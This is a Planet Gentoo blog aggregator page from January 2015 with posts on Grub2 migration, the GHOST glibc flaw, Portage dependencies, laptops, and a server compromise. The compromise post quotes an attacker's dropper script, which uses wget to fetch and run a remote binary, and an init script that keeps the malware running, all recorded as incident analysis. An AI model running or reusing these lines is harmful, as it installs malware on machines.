31 Jan 2015

feedPlanet Gentoo

Andreas K. Hüttel: Choice included

Some time ago, Matteo Pescarin created the great "Gentoo Abducted" design. Here are, after some minor doodling for the fun of it, several A0 posters based on that design, pointing out the excellent features of Gentoo. Released under CC BY-SA 2.5 as the original. Enjoy!



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31 Jan 2015 5:35pm GMT

Sebastian Pipping: Switching to Grub2 on Gentoo


Hi!

There seem to be quite a number of people being "afraid" of Grub2, because of the "no single file" approach. From more people, I hear about sticking to Grub legacy or moving to syslinux, rather than upgrading to Grub2.

I used to be one of those not too long ago: I've been sticking to Grub legacy for quite a while, mainly because I never felt like breaking a booting system at that very moment. I have finally upgraded my Gentoo dev machine to Grub2 now and I'm rather happy with the results:

My steps to upgrade were:

1. Install sys-boot/grub:2.

2. Inspect the output of "sudo grub2-mkconfig" (which goes to stdout) to get a feeling for it.

3. Tune /etc/default/grub a bit:

GRUB_DEFAULT=0
GRUB_TIMEOUT=5

# This is genkernel
GRUB_CMDLINE_LINUX="dolvm dokeymap keymap=de
    crypt_root=UUID=00000000-0000-0000-0000-000000000000
    real_root=/dev/gentoo/root noslowusb"

# A bit retro, works with and without external display
GRUB_GFXMODE=640x480

GRUB_BACKGROUND="/boot/grub/gentoo-cow-gdm-remake-640x480.png"

NOTE: I broke the GRUB_CMDLINE_LINUX line for readability, only.

4. Insert a "shutdown" menu entry at /etc/grub.d/40_custom:

#!/bin/sh
exec tail -n +3 $0
# This file provides an easy way to add custom menu entries.  Simply type the
# menu entries you want to add after this comment.  Be careful not to change
# the 'exec tail' line above.

menuentry "Shutdown" {
        halt
}

5. Run "sudo grub2-mkconfig -o /boot/grub/grub.cfg".

6. Run "sudo grub2-install /dev/disk/by-id/ata-HITACHI_000000000000000_00000000000000000000".

Using /dev/disk/ greatly reduces the risk of installing to the wrong disk.
Check "find /dev/disk | xargs ls -ld".

7. Reboot

Done.

For kernel updates, my new process is

emerge -auv sys-kernel/vanilla-sources

pushd /usr/src
cp linux-3.18.3/.config linux-3.18.4/

# yes, sys-kernel/vanilla-sources[symlink] would do that for me
rm linux
ln -s linux-3.18.4 linux

pushd linux
yes '' | make oldconfig

make -j4 && make modules_install install \
                && emerge tp_smapi \
                && genkernel initramfs \
                && grub2-mkconfig -o /boot/grub/grub.cfg

popd
popd

Best, Sebastian

31 Jan 2015 5:26pm GMT

29 Jan 2015

feedPlanet Gentoo

Hanno Böck: What the GHOST tells us about free software vulnerability management

GHOSTOn Tuesday details about the security vulnerability GHOST in Glibc were published by the company Qualys. When severe security vulnerabilities hit the news I always like to take this as a chance to learn what can be improved and how to avoid similar incidents in the future (see e. g. my posts on Heartbleed/Shellshock, POODLE/BERserk and NTP lately).

GHOST itself is a Heap Overflow in the name resolution function of the Glibc. The Glibc is the standard C library on Linux systems, almost every software that runs on a Linux system uses it. It is somewhat unclear right now how serious GHOST really is. A lot of software uses the affected function gethostbyname(), but a lot of conditions have to be met to make this vulnerability exploitable. Right now the most relevant attack is against the mail server exim where Qualys has developed a working exploit which they plan to release soon. There have been speculations whether GHOST might be exploitable through Wordpress, which would make it much more serious.

Technically GHOST is a heap overflow, which is a very common bug in C programming. C is inherently prone to these kinds of memory corruption errors and there are essentially two things here to move forwards: Improve the use of exploit mitigation techniques like ASLR and create new ones (levee is an interesting project, watch this 31C3 talk). And if possible move away from C altogether and develop core components in memory safe languages (I have high hopes for the Mozilla Servo project, watch this linux.conf.au talk).

GHOST was discovered three times

But the thing I want to elaborate here is something different about GHOST: It turns out that it has been discovered independently three times. It was already fixed in 2013 in the Glibc Code itself. The commit message didn't indicate that it was a security vulnerability. Then in early 2014 developers at Google found it again using Address Sanitizer (which - by the way - tells you that all software developers should use Address Sanitizer more often to test their software). Google fixed it in Chrome OS and explicitly called it an overflow and a vulnerability. And then recently Qualys found it again and made it public.

Now you may wonder why a vulnerability fixed in 2013 made headlines in 2015. The reason is that it widely wasn't fixed because it wasn't publicly known that it was serious. I don't think there was any malicious intent. The original Glibc fix was probably done without anyone noticing that it is serious and the Google devs may have thought that the fix is already public, so they don't need to make any noise about it. But we can clearly see that something doesn't work here. Which brings us to a discussion how the Linux and free software world in general and vulnerability management in particular work.

The "Never touch a running system" principle

Quite early when I came in contact with computers I heard the phrase "Never touch a running system". This may have been a reasonable approach to IT systems back then when computers usually weren't connected to any networks and when remote exploits weren't a thing, but it certainly isn't a good idea today in a world where almost every computer is part of the Internet. Because once new security vulnerabilities become public you should change your system and fix them. However that doesn't change the fact that many people still operate like that.

A number of Linux distributions provide "stable" or "Long Time Support" versions. Basically the idea is this: At some point they take the current state of their systems and further updates will only contain important fixes and security updates. They guarantee to fix security vulnerabilities for a certain time frame. This is kind of a compromise between the "Never touch a running system" approach and reasonable security. It tries to give you a system that will basically stay the same, but you get fixes for security issues. Popular examples for this approach are the stable branch of Debian, Ubuntu LTS versions and the Enterprise versions of Red Hat and SUSE.

To give you an idea about time frames, Debian currently supports the stable trees Squeeze (6.0) which was released 2011 and Wheezy (7.0) which was released 2013. Red Hat Enterprise Linux has currently 4 supported version (4, 5, 6, 7), the oldest one was originally released in 2005. So we're talking about pretty long time frames that these systems get supported. Ubuntu and Suse have similar long time supported Systems.

These systems are delivered with an implicit promise: We will take care of security and if you update regularly you'll have a system that doesn't change much, but that will be secure against know threats. Now the interesting question is: How well do these systems deliver on that promise and how hard is that?

Vulnerability management is chaotic and fragile

I'm not sure how many people are aware how vulnerability management works in the free software world. It is a pretty fragile and chaotic process. There is no standard way things work. The information is scattered around many different places. Different people look for vulnerabilities for different reasons. Some are developers of the respective projects themselves, some are companies like Google that make use of free software projects, some are just curious people interested in IT security or researchers. They report a bug through the channels of the respective project. That may be a mailing list, a bug tracker or just a direct mail to the developer. Hopefully the developers fix the issue. It does happen that the person finding the vulnerability first has to explain to the developer why it actually is a vulnerability. Sometimes the fix will happen in a public code repository, sometimes not. Sometimes the developer will mention that it is a vulnerability in the commit message or the release notes of the new version, sometimes not. There are notorious projects that refuse to handle security vulnerabilities in a transparent way. Sometimes whoever found the vulnerability will post more information on his/her blog or on a mailing list like full disclosure or oss-security. Sometimes not. Sometimes vulnerabilities get a CVE id assigned, sometimes not.

Add to that the fact that in many cases it's far from clear what is a security vulnerability. It is absolutely common that if you ask the people involved whether this is serious the best and most honest answer they can give is "we don't know". And very often bugs get fixed without anyone noticing that it even could be a security vulnerability.

Then there are projects where the number of security vulnerabilities found and fixed is really huge. The latest Chrome 40 release had 62 security fixes, version 39 had 42. Chrome releases a new version every two months. Browser vulnerabilities are found and fixed on a daily basis. Not that extreme but still high is the vulnerability count in PHP, which is especially worrying if you know that many webhosting providers run PHP versions not supported any more.

So you probably see my point: There is a very chaotic stream of information in various different places about bugs and vulnerabilities in free software projects. The number of vulnerabilities is huge. Making a promise that you will scan all this information for security vulnerabilities and backport the patches to your operating system is a big promise. And I doubt anyone can fulfill that.

GHOST is a single example, so you might ask how often these things happen. At some point right after GHOST became public this excerpt from the Debian Glibc changelog caught my attention (excuse the bad quality, had to take the image from Twitter because I was unable to find that changelog on Debian's webpages):

eglibc Changelog

What you can see here: While Debian fixed GHOST (which is CVE-2015-0235) they also fixed CVE-2012-6656 - a security issue from 2012. Admittedly this is a minor issue, but it's a vulnerability nevertheless. A quick look at the Debian changelog of Chromium both in squeeze and wheezy will tell you that they aren't fixing all the recent security issues in it. (Debian already had discussions about removing Chromium and in Wheezy they don't stick to a single version.)

It would be an interesting (and time consuming) project to take a package like PHP and check for all the security vulnerabilities whether they are fixed in the latest packages in Debian Squeeze/Wheezy, all Red Hat Enterprise versions and other long term support systems. PHP is probably more interesting than browsers, because the high profile targets for these vulnerabilities are servers. What worries me: I'm pretty sure some people already do that. They just won't tell you and me, instead they'll write their exploits and sell them to repressive governments or botnet operators.

Then there are also stories like this: Tavis Ormandy reported a security issue in Glibc in 2012 and the people from Google's Project Zero went to great lengths to show that it is actually exploitable. Reading the Glibc bug report you can learn that this was already reported in 2005(!), just nobody noticed back then that it was a security issue and it was minor enough that nobody cared to fix it.

There are also bugs that require changes so big that backporting them is essentially impossible. In the TLS world a lot of protocol bugs have been highlighted in recent years. Take Lucky Thirteen for example. It is a timing sidechannel in the way the TLS protocol combines the CBC encryption, padding and authentication. I like to mention this bug because I like to quote it as the TLS bug that was already mentioned in the specification (RFC 5246, page 23: "This leaves a small timing channel"). The real fix for Lucky Thirteen is not to use the erratic CBC mode any more and switch to authenticated encryption modes which are part of TLS 1.2. (There's another possible fix which is using Encrypt-then-MAC, but it is hardly deployed.) Up until recently most encryption libraries didn't support TLS 1.2. Debian Squeeze and Red Hat Enterprise 5 ship OpenSSL versions that only support TLS 1.0. There is no trivial patch that could be backported, because this is a huge change. What they likely backported are workarounds that avoid the timing channel. This will stop the attack, but it is not a very good fix, because it keeps the problematic old protocol and will force others to stay compatible with it.

LTS and stable distributions are there for a reason

The big question is of course what to do about it. OpenBSD developer Ted Unangst wrote a blog post yesterday titled Long term support considered harmful, I suggest you read it. He argues that we should get rid of long term support completely and urge users to upgrade more often. OpenBSD has a 6 month release cycle and supports two releases, so one version gets supported for one year.

Given what I wrote before you may think that I agree with him, but I don't. While I personally always avoided to use too old systems - I 'm usually using Gentoo which doesn't have any snapshot releases at all and does rolling releases - I can see the value in long term support releases. There are a lot of systems out there - connected to the Internet - that are never updated. Taking away the option to install systems and let them run with relatively little maintenance overhead over several years will probably result in more systems never receiving any security updates. With all its imperfectness running a Debian Squeeze with the latest updates is certainly better than running an operating system from 2011 that stopped getting security fixes in 2012.

Improving the information flow

I don't think there is a silver bullet solution, but I think there are things we can do to improve the situation. What could be done is to coordinate and share the work. Debian, Red Hat and other distributions with stable/LTS versions could agree that their next versions are based on a specific Glibc version and they collaboratively work on providing patch sets to fix all the vulnerabilities in it. This already somehow happens with upstream projects providing long term support versions, the Linux kernel does that for example. Doing that at scale would require vast organizational changes in the Linux distributions. They would have to agree on a roughly common timescale to start their stable versions.

What I'd consider the most crucial thing is to improve and streamline the information flow about vulnerabilities. When Google fixes a vulnerability in Chrome OS they should make sure this information is shared with other Linux distributions and the public. And they should know where and how they should share this information.

One mechanism that tries to organize the vulnerability process is the system of CVE ids. The idea is actually simple: Publicly known vulnerabilities get a fixed id and they are in a public database. GHOST is CVE-2015-0235 (the scheme will soon change because four digits aren't enough for all the vulnerabilities we find every year). I got my first CVEs assigned in 2007, so I have some experiences with the CVE system and they are rather mixed. Sometimes I briefly mention rather minor issues in a mailing list thread and a CVE gets assigned right away. Sometimes I explicitly ask for CVE assignments and never get an answer.

I would like to see that we just assign CVEs for everything that even remotely looks like a security vulnerability. However right now I think the process is to unreliable to deliver that. There are other public vulnerability databases like OSVDB, I have limited experience with them, so I can't judge if they'd be better suited. Unfortunately sometimes people hesitate to request CVE ids because others abuse the CVE system to count assigned CVEs and use this as a metric how secure a product is. Such bad statistics are outright dangerous, because it gives people an incentive to downplay vulnerabilities or withhold information about them.

This post was partly inspired by some discussions on oss-security

29 Jan 2015 11:52pm GMT

28 Jan 2015

feedPlanet Gentoo

Patrick Lauer: CGit

Dirty hack of the day:

A CGit Mirror of git.overlays.gentoo.org

I wonder if the update cronjob actually works ...

28 Jan 2015 5:26am GMT

23 Jan 2015

feedPlanet Gentoo

Patrick Lauer: A story of Dependencies

Yesterday I wanted to update a build chroot I have. And ... strangely ... there was a pile of new dependencies:

# emerge -upNDv world

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild     U  ] sys-devel/patch-2.7.2 [2.7.1-r3] USE="-static {-test} -xattr" 0 KiB
[ebuild     U  ] sys-devel/automake-wrapper-10 [9] 0 KiB
[ebuild  N     ] dev-libs/lzo-2.08-r1:2  USE="-examples -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/dejavu-2.34  USE="-X -fontforge" 0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-common-1.42.0  0 KiB
[ebuild  N     ] media-libs/libpng-1.6.16:0/16  USE="-apng (-neon) -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/vala-common-0.26.1  0 KiB
[ebuild     U  ] dev-libs/libltdl-2.4.5 [2.4.4] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] virtual/ttf-fonts-1  0 KiB
[ebuild  N     ] x11-themes/hicolor-icon-theme-0.14  0 KiB
[ebuild  N     ] dev-perl/XML-NamespaceSupport-1.110.0-r1  0 KiB
[ebuild  N     ] dev-perl/XML-SAX-Base-1.80.0-r1  0 KiB
[ebuild  N     ] virtual/perl-Storable-2.490.0  0 KiB
[ebuild     U  ] sys-libs/readline-6.3_p8-r2 [6.3_p8-r1] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild     U  ] app-shells/bash-4.3_p33-r1 [4.3_p33] USE="net nls (readline) -afs -bashlogger -examples -mem-scramble -plugins -vanilla" 0 KiB
[ebuild  N     ] media-libs/freetype-2.5.5:2  USE="adobe-cff bzip2 -X -auto-hinter -bindist -debug -doc -fontforge -harfbuzz -infinality -png -static-libs -utils" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-SAX-0.990.0-r1  0 KiB
[ebuild  N     ] dev-libs/libcroco-0.6.8-r1:0.6  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-LibXML-2.1.400-r1  USE="{-test}" 0 KiB
[ebuild  N     ] dev-perl/XML-Simple-2.200.0-r1  0 KiB
[ebuild  N     ] x11-misc/icon-naming-utils-0.8.90  0 KiB
[ebuild  NS    ] sys-devel/automake-1.15:1.15 [1.13.4:1.13, 1.14.1:1.14] 0 KiB
[ebuild     U  ] sys-devel/libtool-2.4.5:2 [2.4.4:2] USE="-vanilla" 0 KiB
[ebuild  N     ] x11-proto/xproto-7.0.26  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xextproto-7.3.0  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/inputproto-2.3.1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/damageproto-1.2.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/xtrans-1.3.5  USE="-doc" 0 KiB
[ebuild  N     ] x11-proto/renderproto-0.11.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/font-util-1.3.0  0 KiB
[ebuild  N     ] x11-misc/util-macros-1.19.0  0 KiB
[ebuild  N     ] x11-proto/compositeproto-0.4.2-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/recordproto-1.14.2-r1  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libICE-1.0.9  USE="ipv6 -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libSM-1.2.2-r1  USE="ipv6 uuid -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/fixesproto-5.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/randrproto-1.4.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/kbproto-1.0.6-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xf86bigfontproto-1.2.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXau-1.0.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdmcp-1.1.1-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/libpthread-stubs-0.3-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pixman-0.32.6  USE="sse2 (-altivec) (-iwmmxt) (-loongson2f) -mmxext (-neon) -ssse3 -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  NS    ] app-text/docbook-xml-dtd-4.4-r2:4.4 [4.1.2-r6:4.1.2, 4.2-r2:4.2, 4.5-r1:4.5] 0 KiB
[ebuild  N     ] app-text/xmlto-0.0.26  USE="-latex" 0 KiB
[ebuild  N     ] sys-apps/dbus-1.8.12  USE="-X -debug -doc (-selinux) -static-libs -systemd {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] net-misc/curl-7.40.0  USE="ipv6 ssl -adns -idn -kerberos -ldap -metalink -rtmp -samba -ssh -static-libs {-test} -threads" ABI_X86="(64) -32 (-x32)" CURL_SSL="openssl -axtls -gnutls -nss -polarssl (-winssl)" 0 KiB
[ebuild  N     ] app-arch/libarchive-3.1.2-r1:0/13  USE="acl bzip2 e2fsprogs iconv lzma zlib -expat -lzo -nettle -static-libs -xattr" 0 KiB
[ebuild  N     ] dev-util/cmake-3.1.0  USE="ncurses -doc -emacs -qt4 (-qt5) {-test}" 0 KiB
[ebuild  N     ] media-gfx/graphite2-1.2.4-r1  USE="-perl {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/fontconfig-2.11.1-r2:1.0  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-admin/eselect-fontconfig-1.1  0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-1.42.0  USE="-cairo -doctool {-test}" PYTHON_TARGETS="python2_7" 0 KiB
[ebuild  N     ] dev-libs/atk-2.14.0  USE="introspection nls {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-util/gdbus-codegen-2.42.1  PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-proto/xcb-proto-1.11  ABI_X86="(64) -32 (-x32)" PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-libs/libxcb-1.11-r1:0/1.11  USE="-doc (-selinux) -static-libs -xkb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libX11-1.6.2  USE="ipv6 -doc -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXext-1.3.3  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXfixes-5.0.1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrender-0.9.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/cairo-1.12.18  USE="X glib svg (-aqua) -debug (-directfb) (-drm) (-gallium) (-gles2) -opengl -openvg (-qt4) -static-libs -valgrind -xcb -xlib-xcb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXi-1.7.4  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gdk-pixbuf-2.30.8:2  USE="X introspection -debug -jpeg -jpeg2k {-test} -tiff" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcursor-1.1.14  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdamage-1.1.4-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrandr-1.4.2  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcomposite-0.4.4-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXtst-1.2.2  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-core-2.14.1:2  USE="X introspection" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-atk-2.14.1:2  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/harfbuzz-0.9.37:0/0.9.18  USE="cairo glib graphite introspection truetype -icu -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pango-1.36.8  USE="introspection -X -debug" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gtk+-2.24.25-r1:2  USE="introspection (-aqua) -cups -debug -examples {-test} -vim-syntax -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/librsvg-2.40.6:2  USE="introspection -tools -vala" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-themes/adwaita-icon-theme-3.14.1  USE="-branding" 0 KiB
[ebuild  N     ] x11-libs/gtk+-3.14.6:3  USE="X introspection (-aqua) -cloudprint -colord -cups -debug -examples {-test} -vim-syntax -wayland -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/dconf-0.22.0  USE="X {-test}" 0 KiB

Total: 78 packages (6 upgrades, 70 new, 2 in new slots), Size of downloads: 0 KiB

The following USE changes are necessary to proceed:
 (see "package.use" in the portage(5) man page for more details)
# required by x11-libs/gtk+-2.24.25-r1
# required by x11-libs/gtk+-3.14.6
# required by gnome-base/dconf-0.22.0[X]
# required by dev-libs/glib-2.42.1
# required by media-libs/harfbuzz-0.9.37[glib]
# required by x11-libs/pango-1.36.8
# required by gnome-base/librsvg-2.40.6
# required by x11-themes/adwaita-icon-theme-3.14.1
=x11-libs/cairo-1.12.18 X

BOOM. That's heavy. There's gtk2, gtk3, most of X ... and things want to enable USE="X" ... what's going on ?!

After some experimenting with selective masking and tracing dependencies I figured out that it's dev-libs/glib that pulls in "everything". Eh?
ChangeLog says:

  21 Jan 2015; Pacho Ramos  -files/glib-2.12.12-fbsd.patch,
  -files/glib-2.36.4-znodelete.patch,
  -files/glib-2.37.x-external-gdbus-codegen.patch,
  -files/glib-2.38.2-configure.patch, -files/glib-2.38.2-sigaction.patch,
  -glib-2.38.2-r1.ebuild, -glib-2.40.0-r1.ebuild, glib-2.42.1.ebuild:
  Ensure dconf is present (#498436, #498474#c6), drop old

So now glib depends on dconf (which is actually not correct, but fixes some bugs for gtk desktop apps). dconf has USE="+X" in the ebuild, so it overrides profile settings, and pulls in the rest.
USE="-X" still pulls in dbus unconditionally, and ... dconf is needed by glib, and glib is needed by pkgconfig, so that would be mildly upsetting as every user would now have dconf and dbus installed. (Unless, of course, we switched pkgconfig to USE="internal-glib")

After a good long discussion on IRC with some good comments on the bugreport we figured out a solution that should work for all:
dconf ebuild is fixed to not set default useflags. So only desktop profiles or USE="X" set by users will pull in X-related dependencies. glib gets a dbus useflag, which is default-enabled on desktop profiles, so there the dependency chain works as desired. And for the no-desktop no-X usecase we have no extra dependencies, and no reason to be grumpy.

This situation shows quite well how unintended side-effects may happen. The situation looked good for everyone on a desktop profile (and dconf is small enough to be tolerated as dependency). But on not-desktop profiles, suddenly, we're looking at a pile of 'wrong' dependencies, accidentally forced on everyone. Oops :)

In the end, all is well, and I'm still confused why writing a config file needs dbus and xml and stuff. But I guess that's called progress ...

23 Jan 2015 3:41am GMT

21 Jan 2015

feedPlanet Gentoo

Sven Vermeulen: Old Gentoo system? Not a problem…

If you have a very old Gentoo system that you want to upgrade, you might have some issues with too old software and Portage which can't just upgrade to a recent state. Although many methods exist to work around it, one that I have found to be very useful is to have access to old Portage snapshots. It often allows the administrator to upgrade the system in stages (say in 6-months blocks), perhaps not the entire world but at least the system set.

Finding old snapshots might be difficult though, so at one point I decided to create a list of old snapshots, two months apart, together with the GPG signature (so people can verify that the snapshot was not tampered with by me in an attempt to create a Gentoo botnet). I haven't needed it in a while anymore, but I still try to update the list every two months, which I just did with the snapshot of January 20th this year.

I hope it at least helps a few other admins out there.

21 Jan 2015 9:05pm GMT

Patrick Lauer: Demo Operating Systems on new hardware

Recently I got to interact with two Lenovo notebooks - an E445 with Ubuntu Demo preinstalled, and an E431 with Win8 Demo preinstalled.
Why do I say demo? Because these were completely unusable. Let me explain ...

The E445 is a very simple notebook - 14" crap display, slowest AMD APU they could find, 4GB RAM (3 usable due to graphics card stealing the rest). Slowest harddisk ever ;)
The E431 is pretty much the same form factor, but the slowest Intel CPU (random i3) and also 4GB RAM and a crap display.

On powerup the E445 spent about half an hour "initialising" and kinda installing whatever. Weird because you could do that before and deliver an instant-on disk image, but this whole thing hasn't been thought out.
The Ubuntu version it comes with (12.04 LTS I think?) is so old that the graphics drivers can't drive the display at native resolution out of the box. So your display will be a fuzzy 1024x768 upscaled to 1366x768. I consider this a demo because there's some obvious bugs - the black background glows purple, there's random output from init scripts bleeding over the bootsplash. And then once you login there's this ... hmm. Looks like a blend of MovieOS and a touchscreen UI and goes by the name of Unity. The whole mix is pretty much unusable, mostly because basic things like screen resolution are broken in ways that are not easy to fix.

The other device came with a Win8 demo. Out of the box it takes about 5 minutes to start, and then every app takes 30-60 seconds to start. It's brutally slow.
After boot about 2.5GB RAM are in use, so pretty much any action can trigger swapping. It's brutally slow. Oh wait, I already said that.
At some point it decided to update to 8.1, which took half an hour to download and about seven hours to install. WHAT TEH EFF!

The UI is ... MovieOS got drunk. A part is kinda touchscreen thingy, and the rest is even more confused. Localization is horribad (some parts are pictogram only, some part are text only - and since this is a chinese edition I wouldn't even know hot to reboot it! squiggly hat box squiggly bug ... or is it square squiggly star ? Oh my, this is just bad.
And I said demo, because shutdown doesn't. Looks like the hibernate and shutdown bugs are crosswired the wrong way?
There's random slowdowns doing basic tasks, even youtube video randomly stutters and glitches because the OS is still not ready for general use. And it's slow ... oh wait, I said that. So all in all, it's a nice showroom demo, but not useful.

Installing Gentoo was all in all pretty boring, with full KDE running the memory usage is near 500MB (compared to >2GB for the win demo). Video runs smoothly, audio works. Ethernet connection with r8169 works, WLAN with BCM43142 requires broadcom-sta aka. wl. Very very bad driver stupid, it'd be easier to not have this device built in.
Both the intel card in the E431 and the radeon in the E445 work well, although the HD 8550G needs the newest release of xf86-video-ati to work.

The E445 boots cleanly in BIOS mode, the E431 quietly fails (sigh) because SecureBoot (sigh!) unless you actively disable it. Also randomly the E431 tries to reset to factory defaults, or fails to boot with Fan Warning. Very shoddy, but usually smacking it with a hammer helps.

I'm a little bit sad that all new notebooks are so conservative with maximum amount of RAM, but on the upside the minimum is defined by Win8 Demo requirements. So most devices have 4GB RAM, which reminds me of 2008. Hmm.
Harddisks are getting slower and bigger - this seems to be mostly penny pinching. The harddisk in the R400 I had years ago was faster than the new ones!

And vendors should maybe either sell naked notebooks without an OS, or install something that is properly installed and preconfigured. And, maybe, a proper recovery DVD so that the OS can be reinstalled? Especially as both these notebooks come with a DVD drive. I have no opinion if it works because I lack media to test with, but it wastes space ...

(If you are a vendor, and want to have things tested or improved, feel free to send me free hardware and maybe consider compensating me for my time - it's not that hard to provide a good user experience, and it'll improve customer retention a lot!)

21 Jan 2015 10:16am GMT

Patrick Lauer: Getting compromised

Recently I was asked to set up a new machine. It had been minimally installed, network started, and then ignored for a day or two.

As I logged in I noticed a weird file in /root: n8005.tar
And 'file' said it's a shellscript. Hmmm ....

#!/bin/sh
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wget http://432.567.99.1/install/8005
chmod +x 8005
./8005


At this point my confidence in the machine had been ... compromised. "init 0" it is!
A reboot from a livecd later I was trying to figure out what the attacker was trying to do:
* An init script in /etc/init.d

#!/bin/sh
# chkconfig: 12345 90 90
# description: epnlmqmjph
### BEGIN INIT INFO
# Provides:             epnlmqmjph
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    epnlmqmjph
### END INIT INFO
case $1 in
start)
        /usr/bin/epnlmqmjph
        ;;
stop)
        ;;
*)
        /usr/bin/epnlmqmjph
        ;;
esac

* A file in /usr/bin

# file epnlmqmjph
epnlmqmjph: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

# md5sum epnlmqmjph
2cb5174e26c6782db94ea336696cfb7f  epnlmqmjph

* a file in /sbin I think - I didn't write down everything, just archived it for later analysis

# file bin_z 
bin_z: ERROR: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linkederror reading (Invalid argument)
# md5sum bin_z 
85c1c4a5ec7ce3efef5c5b20c5ded09c  bin_z

The only action I could do at this stage was wipe and reinstall, and so I did.
So this was quite educational, and a few minutes after reboot I saw a connection with putty as user agent in the ssh logs.
Sorry kid, not today ;)

There's a strong lesson in this: Do not use ssh passwords. Especially for root. A weak password can be accidentally bruteforced in a day or two!

sshd has an awesome feature: "PermitRootLogin without-password" if you rely on root login, at least avoid sucessful password logins!

And I wonder how much accidental security running not-32bit not-CentOS gives ;)

21 Jan 2015 9:16am GMT

19 Jan 2015

feedPlanet Gentoo

Gilles Dartiguelongue: Cinnamon 2.4

A few weeks ago, I upgrade all cinnamon ebuilds to 2.4 in tree. However I could not get Cinnamon (shell part) to actually work, as in show anything useful on my display. So this is a public service announcement that if you like Cinnamon and want to help with this issue, please visit bug #536374. For some reason, the hacks found in gnome-shell does not seem to work with cinnamon's shell.

19 Jan 2015 11:55am GMT

16 Jan 2015

feedPlanet Gentoo

Michał Górny: Surround sound over network with Windows 8

